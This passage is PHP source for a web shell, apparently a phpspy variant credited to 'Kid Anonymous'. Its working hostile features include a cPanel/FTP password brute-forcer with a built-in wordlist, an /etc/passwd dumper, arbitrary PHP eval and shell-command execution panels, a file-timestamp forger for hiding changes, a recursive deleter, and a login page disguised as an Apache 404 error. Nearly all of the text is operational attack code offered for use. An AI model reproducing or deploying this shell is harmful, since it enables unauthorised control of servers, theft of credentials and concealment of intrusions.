yOwo=
  1767. ';
  1768. $file = fopen("error.log", "w+");
  1769. $write = fwrite($file, base64_decode($pythonp));
  1770. fclose($file);
  1771. chmod("error.log", 0755);
  1772. echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
  1773. }
  1774. // Brute
  1775. elseif ($action == 'brute') {
  1776. formhead(array('title' => 'Brute Forcer'));
  1777. makehide('action', 'brute');
  1778. makehide('dir', $brute);
  1779. @ini_set('memory_limit', 1000000000000);
  1780. $connect_timeout = 5;
  1781. @set_time_limit(0);
  1782. $submit = $_REQUEST['submit'];
  1783. $users = $_REQUEST['users'];
  1784. $pass = $_REQUEST['passwords'];
  1785. $target = $_REQUEST['target'];
  1786. $option = $_REQUEST['option'];
  1787. $passlist = "123pass
  1788.  
  1789. 123!@#
  1790.  
  1791. 123admin
  1792.  
  1793. 123abc
  1794.  
  1795. 123456admin
  1796.  
  1797. 1234554321
  1798.  
  1799. 12344321
  1800.  
  1801. pass123
  1802.  
  1803. admin
  1804.  
  1805. admincp
  1806.  
  1807. administrator
  1808.  
  1809. matkhau
  1810.  
  1811. passadmin
  1812.  
  1813. p@ssword
  1814.  
  1815. password
  1816.  
  1817. 012345
  1818.  
  1819. 123456
  1820.  
  1821. 1234567
  1822.  
  1823. 12345678
  1824.  
  1825. 123456789
  1826.  
  1827. 1234567890
  1828.  
  1829. 111111
  1830.  
  1831. 000000
  1832.  
  1833. 222222
  1834.  
  1835. 333333
  1836.  
  1837. 444444
  1838.  
  1839. 555555
  1840.  
  1841. 666666
  1842.  
  1843. 777777
  1844.  
  1845. 888888
  1846.  
  1847. 999999
  1848.  
  1849. 123123
  1850.  
  1851. 234234
  1852.  
  1853. 345345
  1854.  
  1855. 456456
  1856.  
  1857. 567567
  1858.  
  1859. 678678
  1860.  
  1861. 789789
  1862.  
  1863. 123321
  1864.  
  1865. 456654
  1866.  
  1867. 654321
  1868.  
  1869. 7654321
  1870.  
  1871. 87654321
  1872.  
  1873. 987654321
  1874.  
  1875. 0987654321
  1876.  
  1877. admin123
  1878.  
  1879. admin123456
  1880.  
  1881. abcdef
  1882.  
  1883. abcabc
  1884.  
  1885. !@#!@#
  1886.  
  1887. !@#$%^
  1888.  
  1889. !@#$%^&*(
  1890.  
  1891. !@#$$#@!
  1892.  
  1893. abc123
  1894.  
  1895. anhyeuem
  1896.  
  1897. iloveyou
  1898.  
  1899. admin
  1900.  
  1901. administrator
  1902.  
  1903. admincp
  1904.  
  1905. cpanel
  1906.  
  1907. adminx
  1908.  
  1909. admins
  1910.  
  1911. password
  1912.  
  1913. passwords
  1914.  
  1915. passw0rd
  1916.  
  1917. p@ssw0rd
  1918.  
  1919. p@ssword
  1920.  
  1921. khongco
  1922.  
  1923. 25251325
  1924.  
  1925. passw0rds";
  1926. if ($target == '') {
  1927. $target = 'localhost';
  1928. }
  1929. print " <div align='center'>
  1930.  
  1931. <form method='post' style='border: 1px solid #000000'><br><br>
  1932.  
  1933. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
  1934.  
  1935. <b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
  1936.  
  1937. <div align='center'><br>
  1938.  
  1939. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
  1940.  
  1941. <tr>
  1942.  
  1943. <td align='center'>
  1944.  
  1945. <b>Username</b></td>
  1946.  
  1947. <td>
  1948.  
  1949. <p align='center'>
  1950.  
  1951. <b>Password</b></td>
  1952.  
  1953. </tr>
  1954.  
  1955. </table>
  1956.  
  1957. <p align='center'>
  1958.  
  1959. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
  1960. $i = 0;
  1961. while ($i < 60000) {
  1962. $line = posix_getpwuid($i);
  1963. if (!empty($line)) {
  1964. while (list($key, $vba_etcpwd) = each($line)) {
  1965. echo "" . $vba_etcpwd . "\n";
  1966. break;
  1967. }
  1968. }
  1969. $i++;
  1970. }
  1971. echo "
  1972.  
  1973. </textarea>
  1974.  
  1975. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
  1976.  
  1977. <br>
  1978.  
  1979. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  1980.  
  1981. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
  1982.  
  1983. </td></tr></table></td></tr></form><p align= 'left'>";
  1984. ?>
  1985.  
  1986. <?php
  1987. function ftp_check($host, $user, $pass, $timeout) {
  1988. $ch = curl_init();
  1989. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  1990. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1991. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1992. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  1993. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1994. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1995. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1996. $data = curl_exec($ch);
  1997. if (curl_errno($ch) == 28) {
  1998. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1999. exit;
  2000. } elseif (curl_errno($ch) == 0) {
  2001. p("<b>[ parkhiipz@gmail.com ]# </b>
  2002.  
  2003. <b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>login</a></b><br>");
  2004. }
  2005. curl_close($ch);
  2006. }
  2007. function cpanel_check($host, $user, $pass, $timeout) {
  2008. $ch = curl_init();
  2009. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  2010. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2011. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  2012. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  2013. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  2014. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  2015. $data = curl_exec($ch);
  2016. if (curl_errno($ch) == 28) {
  2017. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  2018. exit;
  2019. } elseif (curl_errno($ch) == 0) {
  2020. p("<b>[ parkhiipz@gmail.com ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");
  2021. }
  2022. curl_close($ch);
  2023. }
  2024. if (isset($submit) && !empty($submit)) {
  2025. $userlist = explode("\n", $users);
  2026. $passlist = explode("\n", $pass);
  2027. p('<b>[ parkhiipz@gmail.com ]# Attacking ...</font></b><br>');
  2028. foreach ($userlist as $user) {
  2029. $_user = trim($user);
  2030. foreach ($passlist as $password) {
  2031. $_pass = trim($password);
  2032. if ($option == "ftp") {
  2033. ftp_check($target, $_user, $_pass, $connect_timeout);
  2034. }
  2035. if ($option == "cpanel") {
  2036. cpanel_check($target, $_user, $_pass, $connect_timeout);
  2037. }
  2038. }
  2039. }
  2040. }
  2041. formfoot();
  2042. } elseif ($action == 'etcpwd') {
  2043. formhead(array('title' => 'Get /etc/passwd'));
  2044. makehide('action', 'etcpwd');
  2045. makehide('dir', $nowpath);
  2046. $i = 0;
  2047. echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
  2048. while ($i < 60000) {
  2049. $line = posix_getpwuid($i);
  2050. if (!empty($line)) {
  2051. while (list($key, $vba_etcpwd) = each($line)) {
  2052. echo "" . $vba_etcpwd . "\n";
  2053. break;
  2054. }
  2055. }
  2056. $i++;
  2057. }
  2058. echo "</textarea></p>";
  2059. formfoot();
  2060. } elseif ($action == 'eval') {
  2061. $phpcode = trim($phpcode);
  2062. if ($phpcode) {
  2063. if (!preg_match('#<\?#si', $phpcode)) {
  2064. $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  2065. }
  2066. eval("?" . ">$phpcode<?");
  2067. }
  2068. formhead(array('title' => 'Eval PHP Code'));
  2069. makehide('action', 'eval');
  2070. maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'value' => $phpcode));
  2071. p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
  2072. formfooter();
  2073. } //end eval
  2074. elseif ($action == 'editfile') {
  2075. if (file_exists($opfile)) {
  2076. $fp = @fopen($opfile, 'r');
  2077. $contents = @fread($fp, filesize($opfile));
  2078. @fclose($fp);
  2079. $contents = htmlspecialchars($contents);
  2080. }
  2081. formhead(array('title' => 'Create / Edit File'));
  2082. makehide('action', 'file');
  2083. makehide('dir', $nowpath);
  2084. makeinput(array('title' => 'Current File (import new file name and new file)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
  2085. maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $contents));
  2086. formfooter();
  2087. } //end editfile
  2088. elseif ($action == 'newtime') {
  2089. $opfilemtime = @filemtime($opfile);
  2090. //$time = strtotime("$year-$month-$day $hour:$minute:$second");
  2091. $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
  2092. formhead(array('title' => 'Clone file was last modified time'));
  2093. makehide('action', 'file');
  2094. makehide('dir', $nowpath);
  2095. makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
  2096. makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1));
  2097. formfooter();
  2098. formhead(array('title' => 'Set last modified'));
  2099. makehide('action', 'file');
  2100. makehide('dir', $nowpath);
  2101. makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
  2102. p('<p>Instead &raquo;');
  2103. p('year:');
  2104. makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4));
  2105. p('month:');
  2106. makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2));
  2107. p('day:');
  2108. makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2));
  2109. p('hour:');
  2110. makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2));
  2111. p('minute:');
  2112. makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2));
  2113. p('second:');
  2114. makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2));
  2115. p('</p>');
  2116. formfooter();
  2117. } //end newtime
  2118. elseif ($action == 'shell') {
  2119. if (IS_WIN && IS_COM) {
  2120. if ($program && $parameter) {
  2121. $shell = new COM('Shell.Application');
  2122. $a = $shell->ShellExecute($program, $parameter);
  2123. m('Program run has ' . (!$a ? 'success' : 'fail'));
  2124. }
  2125. !$program && $program = 'c:\windows\system32\cmd.exe';
  2126. !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
  2127. formhead(array('title' => 'Execute Program'));
  2128. makehide('action', 'shell');
  2129. makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
  2130. p('<p>');
  2131. makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
  2132. makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
  2133. p('</p>');
  2134. formfoot();
  2135. }
  2136. formhead(array('title' => 'Execute Command'));
  2137. makehide('action', 'shell');
  2138. if (IS_WIN && IS_COM) {
  2139. $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
  2140. makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
  2141. }
  2142. p('<p>');
  2143. makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
  2144. makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
  2145. p('</p>');
  2146. formfoot();
  2147. if ($command) {
  2148. p('<hr width="100%" noshade /><pre>');
  2149. if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
  2150. $wsh = new COM('WScript.shell');
  2151. $exec = $wsh->exec('cmd.exe /c ' . $command);
  2152. $stdout = $exec->StdOut();
  2153. $stroutput = $stdout->ReadAll();
  2154. echo $stroutput;
  2155. } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
  2156. $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
  2157. $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  2158. if (is_resource($process)) {
  2159. fwrite($pipes[0], $command . "\r\n");
  2160. fwrite($pipes[0], "exit\r\n");
  2161. fclose($pipes[0]);
  2162. while (!feof($pipes[1])) {
  2163. echo fgets($pipes[1], 1024);
  2164. }
  2165. fclose($pipes[1]);
  2166. while (!feof($pipes[2])) {
  2167. echo fgets($pipes[2], 1024);
  2168. }
  2169. fclose($pipes[2]);
  2170. proc_close($process);
  2171. }
  2172. } else {
  2173. echo (execute($command));
  2174. }
  2175. p('</pre>');
  2176. }
  2177. } //end shell
  2178. elseif ($action == 'phpenv') {
  2179. $upsize = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  2180. $adminmail = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  2181. !$dis_func && $dis_func = 'No';
  2182. $info = array(1 => array('Server Time', date('Y/m/d h:i:s', $timestamp)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', 'index.php'), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', (IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', $adminmail), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', $upsize), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $dis_func),);
  2183. if ($phpvarname) {
  2184. m($phpvarname . ' : ' . getcfg($phpvarname));
  2185. }
  2186. formhead(array('title' => 'Server environment'));
  2187. makehide('action', 'phpenv');
  2188. makeinput(array('title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)', 'name' => 'phpvarname', 'value' => $phpvarname, 'newline' => 1));
  2189. formfooter();
  2190. $hp = array(0 => 'Server', 1 => 'PHP');
  2191. for ($a = 0;$a < 2;$a++) {
  2192. p('<h2>' . $hp[$a] . ' &raquo;</h2>');
  2193. p('<ul class="info">');
  2194. if ($a == 0) {
  2195. for ($i = 1;$i <= 9;$i++) {
  2196. p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
  2197. }
  2198. } elseif ($a == 1) {
  2199. for ($i = 10;$i <= 23;$i++) {
  2200. p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
  2201. }
  2202. }
  2203. p('</ul>');
  2204. }
  2205. } //end phpenv
  2206. else {
  2207. m('Ch&#432;a C&#243; H&#224;nh &#272;&#7897;ng N&#224;o');
  2208. }
  2209. ?>
  2210.  
  2211. </td></tr></table>
  2212.  
  2213. <div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
  2214.  
  2215. <span style="float:right;"><?php debuginfo();
  2216. ob_end_flush(); ?></span>
  2217.  
  2218. Develop by <a href=# target=_blank><B>Kid Anonymous </B></a>- All Rights Reserved.</div>
  2219.  
  2220. </body>
  2221.  
  2222. </html>
  2223.  
  2224.  
  2225.  
  2226. <?php
  2227. /*======================================================
  2228.  
  2229. Show info shell
  2230.  
  2231. ======================================================*/
  2232. function m($msg) {
  2233. echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  2234. echo $msg;
  2235. echo '</div>';
  2236. }
  2237. function scookie($key, $value, $life = 0, $prefix = 1) {
  2238. global $admin, $timestamp, $_SERVER;
  2239. $key = ($prefix ? $admin['cookiepre'] : '') . $key;
  2240. $life = $life ? $life : $admin['cookielife'];
  2241. $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  2242. setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  2243. }
  2244. function multi($num, $perpage, $curpage, $tablename) {
  2245. $multipage = '';
  2246. if ($num > $perpage) {
  2247. $page = 10;
  2248. $offset = 5;
  2249. $pages = @ceil($num / $perpage);
  2250. if ($page > $pages) {
  2251. $from = 1;
  2252. $to = $pages;
  2253. } else {
  2254. $from = $curpage - $offset;
  2255. $to = $curpage + $page - $offset - 1;
  2256. if ($from < 1) {
  2257. $to = $curpage + 1 - $from;
  2258. $from = 1;
  2259. if (($to - $from) < $page && ($to - $from) < $pages) {
  2260. $to = $page;
  2261. }
  2262. } elseif ($to > $pages) {
  2263. $from = $curpage - $pages + $to;
  2264. $to = $pages;
  2265. if (($to - $from) < $page && ($to - $from) < $pages) {
  2266. $from = $pages - $page + 1;
  2267. }
  2268. }
  2269. }
  2270. $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
  2271. for ($i = $from;$i <= $to;$i++) {
  2272. $multipage.= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
  2273. }
  2274. $multipage.= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
  2275. $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
  2276. }
  2277. return $multipage;
  2278. }
  2279. // Login page
  2280. function loginpage() {
  2281. ?>
  2282.  
  2283. <html>
  2284.  
  2285. <head>
  2286.  
  2287.  
  2288.  
  2289.  
  2290.  
  2291.  
  2292.  
  2293. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  2294.  
  2295. <title>404 Not Found</title>
  2296. <style type="text/css">
  2297. A:link {text-decoration: none; color: green }
  2298. A:visited {text-decoration: none;color:red}
  2299. A:active {text-decoration: none}
  2300. A:hover {text-decoration: underline; color: green;}
  2301. input, textarea, button
  2302. {
  2303. font-size: 11pt;
  2304. color: #FFFFFF;
  2305. font-family: verdana, sans-serif;
  2306. background-color: #FFFFFF;
  2307. border-left: 2px dashed #FFFFFF;
  2308. border-top: 2px dashed #FFFFFF;
  2309. border-right: 2px dashed #FFFFFF;
  2310. border-bottom: 2px dashed #FFFFFF;
  2311. }
  2312. <style type="text/css">
  2313. A:link {text-decoration: none; color: green }
  2314. A:visited {text-decoration: none;color:red}
  2315. A:active {text-decoration: none}
  2316. A:hover {text-decoration: underline; color: green;}
  2317. input, textarea, button
  2318. {
  2319. font-size: 11pt;
  2320. color: #FFFFFF;
  2321. font-family: verdana, sans-serif;
  2322. background-color: #ffffff;
  2323. border-left: 2px dashed #FFFFFF;
  2324. border-top: 2px dashed #FFFFFF;
  2325. border-right: 2px dashed #FFFFFF;
  2326. border-bottom: 2px dashed #FFFFFF;
  2327. outline:none;
  2328. }
  2329.  
  2330. </style>
  2331. <h1>Not Found</h1>
  2332. <p>The requested URL <?=$_SERVER['REQUEST_URI'] ?> was not found on this server.</p>
  2333. <p>Additionally, a 404 Not Found
  2334. error was encountered while trying to use an ErrorDocument to handle the request.</p>
  2335. <hr>
  2336. <address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_qos/9.74 mod_bwlimited/1.4 Server at <?=$_SERVER['SERVER_NAME'] ?> Port 80</address>
  2337.  
  2338. <div align="center">
  2339. <div>
  2340. <form method="POST" action="">
  2341. <input name="password" type="password">
  2342. <input type="hidden" name="doing" value="login">
  2343. <input type="submit" value="">
  2344. </form>
  2345. <br>
  2346. </font></div>
  2347.  
  2348.  
  2349.  
  2350. </font></div>
  2351. <BR>
  2352.  
  2353. <?php
  2354. echo "" . $err_mess . "";
  2355. ?>
  2356.  
  2357.  
  2358.  
  2359. </div>
  2360.  
  2361.  
  2362.  
  2363.  
  2364.  
  2365. </fieldset>
  2366.  
  2367.  
  2368.  
  2369.  
  2370.  
  2371.  
  2372.  
  2373. </head>
  2374.  
  2375. </html>
  2376.  
  2377.  
  2378.  
  2379.  
  2380.  
  2381. <?php
  2382. exit;
  2383. } //end loginpage()
  2384. function execute($cfe) {
  2385. $res = '';
  2386. if ($cfe) {
  2387. if (function_exists('exec')) {
  2388. @exec($cfe, $res);
  2389. $res = join("\n", $res);
  2390. } elseif (function_exists('shell_exec')) {
  2391. $res = @shell_exec($cfe);
  2392. } elseif (function_exists('system')) {
  2393. @ob_start();
  2394. @system($cfe);
  2395. $res = @ob_get_contents();
  2396. @ob_end_clean();
  2397. } elseif (function_exists('passthru')) {
  2398. @ob_start();
  2399. @passthru($cfe);
  2400. $res = @ob_get_contents();
  2401. @ob_end_clean();
  2402. } elseif (@is_resource($f = @popen($cfe, "r"))) {
  2403. $res = '';
  2404. while (!@feof($f)) {
  2405. $res.= @fread($f, 1024);
  2406. }
  2407. @pclose($f);
  2408. }
  2409. }
  2410. return $res;
  2411. }
  2412. function which($pr) {
  2413. $path = execute("which $pr");
  2414. return ($path ? $path : $pr);
  2415. }
  2416. function cf($fname, $text) {
  2417. if ($fp = @fopen($fname, 'w')) {
  2418. @fputs($fp, base64_decode($text));
  2419. @fclose($fp);
  2420. }
  2421. }
  2422. // Debug
  2423. function debuginfo() {
  2424. global $starttime;
  2425. $mtime = explode(' ', microtime());
  2426. $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  2427. echo 'Processed in ' . $totaltime . ' second(s)';
  2428. }
  2429. // Function connect database
  2430. function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306') {
  2431. if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
  2432. p('<h2>Can not connect to MySQL server</h2>');
  2433. exit;
  2434. }
  2435. if ($link && $dbname) {
  2436. if (!@mysql_select_db($dbname, $link)) {
  2437. p('<h2>Database selected has error</h2>');
  2438. exit;
  2439. }
  2440. }
  2441. if ($link && mysql_get_server_info() > '4.1') {
  2442. if (in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  2443. q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  2444. }
  2445. }
  2446. return $link;
  2447. }
  2448. // Array strip
  2449. function s_array(&$array) {
  2450. if (is_array($array)) {
  2451. foreach ($array as $k => $v) {
  2452. $array[$k] = s_array($v);
  2453. }
  2454. } else if (is_string($array)) {
  2455. $array = stripslashes($array);
  2456. }
  2457. return $array;
  2458. }
  2459. // HTML Strip
  2460. function html_clean($content) {
  2461. $content = htmlspecialchars($content);
  2462. $content = str_replace("\n", "<br />", $content);
  2463. $content = str_replace(" ", "&nbsp;&nbsp;", $content);
  2464. $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  2465. return $content;
  2466. }
  2467. // Chmod
  2468. function getChmod($filepath) {
  2469. return substr(base_convert(@fileperms($filepath), 10, 8), -4);
  2470. }
  2471. function getPerms($filepath) {
  2472. $mode = @fileperms($filepath);
  2473. if (($mode & 0xC000) === 0xC000) {
  2474. $type = 's';
  2475. } elseif (($mode & 0x4000) === 0x4000) {
  2476. $type = 'd';
  2477. } elseif (($mode & 0xA000) === 0xA000) {
  2478. $type = 'l';
  2479. } elseif (($mode & 0x8000) === 0x8000) {
  2480. $type = '-';
  2481. } elseif (($mode & 0x6000) === 0x6000) {
  2482. $type = 'b';
  2483. } elseif (($mode & 0x2000) === 0x2000) {
  2484. $type = 'c';
  2485. } elseif (($mode & 0x1000) === 0x1000) {
  2486. $type = 'p';
  2487. } else {
  2488. $type = '?';
  2489. }
  2490. $owner['read'] = ($mode & 00400) ? 'r' : '-';
  2491. $owner['write'] = ($mode & 00200) ? 'w' : '-';
  2492. $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  2493. $group['read'] = ($mode & 00040) ? 'r' : '-';
  2494. $group['write'] = ($mode & 00020) ? 'w' : '-';
  2495. $group['execute'] = ($mode & 00010) ? 'x' : '-';
  2496. $world['read'] = ($mode & 00004) ? 'r' : '-';
  2497. $world['write'] = ($mode & 00002) ? 'w' : '-';
  2498. $world['execute'] = ($mode & 00001) ? 'x' : '-';
  2499. if ($mode & 0x800) {
  2500. $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
  2501. }
  2502. if ($mode & 0x400) {
  2503. $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
  2504. }
  2505. if ($mode & 0x200) {
  2506. $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
  2507. }
  2508. return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
  2509. }
  2510. function getUser($filepath) {
  2511. if (function_exists('posix_getpwuid')) {
  2512. $array = @posix_getpwuid(@fileowner($filepath));
  2513. if ($array && is_array($array)) {
  2514. return ' / <a href="#" title="User: ' . $array['name'] . '&#13&#10Passwd: ' . $array['passwd'] . '&#13&#10Uid: ' . $array['uid'] . '&#13&#10gid: ' . $array['gid'] . '&#13&#10Gecos: ' . $array['gecos'] . '&#13&#10Dir: ' . $array['dir'] . '&#13&#10Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
  2515. }
  2516. }
  2517. return '';
  2518. }
  2519. // Delete dir
  2520. function deltree($deldir) {
  2521. $mydir = @dir($deldir);
  2522. while ($file = $mydir->read()) {
  2523. if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
  2524. @chmod($deldir . '/' . $file, 0777);
  2525. deltree($deldir . '/' . $file);
  2526. }
  2527. if (is_file($deldir . '/' . $file)) {
  2528. @chmod($deldir . '/' . $file, 0777);
  2529. @unlink($deldir . '/' . $file);
  2530. }
  2531. }
  2532. $mydir->close();
  2533. @chmod($deldir, 0777);
  2534. return @rmdir($deldir) ? 1 : 0;
  2535. }
  2536. // Background
  2537. function bg() {
  2538. global $bgc;
  2539. return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
  2540. }
  2541. // Get path
  2542. function getPath($scriptpath, $nowpath) {
  2543. if ($nowpath == '.') {
  2544. $nowpath = $scriptpath;
  2545. }
  2546. $nowpath = str_replace('\\', '/', $nowpath);
  2547. $nowpath = str_replace('//', '/', $nowpath);
  2548. if (substr($nowpath, -1) != '/') {
  2549. $nowpath = $nowpath . '/';
  2550. }
  2551. return $nowpath;
  2552. }
  2553. // Get up path
  2554. function getUpPath($nowpath) {
  2555. $pathdb = explode('/', $nowpath);
  2556. $num = count($pathdb);
  2557. if ($num > 2) {
  2558. unset($pathdb[$num - 1], $pathdb[$num - 2]);
  2559. }
  2560. $uppath = implode('/', $pathdb) . '/';
  2561. $uppath = str_replace('//', '/', $uppath);
  2562. return $uppath;
  2563. }
  2564. // Config
  2565. function getcfg($varname) {
  2566. $result = get_cfg_var($varname);
  2567. if ($result == 0) {
  2568. return 'No';
  2569. } elseif ($result == 1) {
  2570. return 'Yes';
  2571. } else {
  2572. return $result;
  2573. }
  2574. }
  2575. // Function name
  2576. function getfun($funName) {
  2577. return (false !== function_exists($funName)) ? 'Yes' : 'No';
  2578. }
  2579. function GetList($dir) {
  2580. global $dirdata, $j, $nowpath;
  2581. !$j && $j = 1;
  2582. if ($dh = opendir($dir)) {
  2583. while ($file = readdir($dh)) {
  2584. $f = str_replace('//', '/', $dir . '/' . $file);
  2585. if ($file != '.' && $file != '..' && is_dir($f)) {
  2586. if (is_writable($f)) {
  2587. $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
  2588. $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
  2589. $dirdata[$j]['dirchmod'] = getChmod($f);
  2590. $dirdata[$j]['dirperm'] = getPerms($f);
  2591. $dirdata[$j]['dirlink'] = ue($dir);
  2592. $dirdata[$j]['server_link'] = $f;
  2593. $dirdata[$j]['client_link'] = ue($f);
  2594. $j++;
  2595. }
  2596. GetList($f);
  2597. }
  2598. }
  2599. closedir($dh);
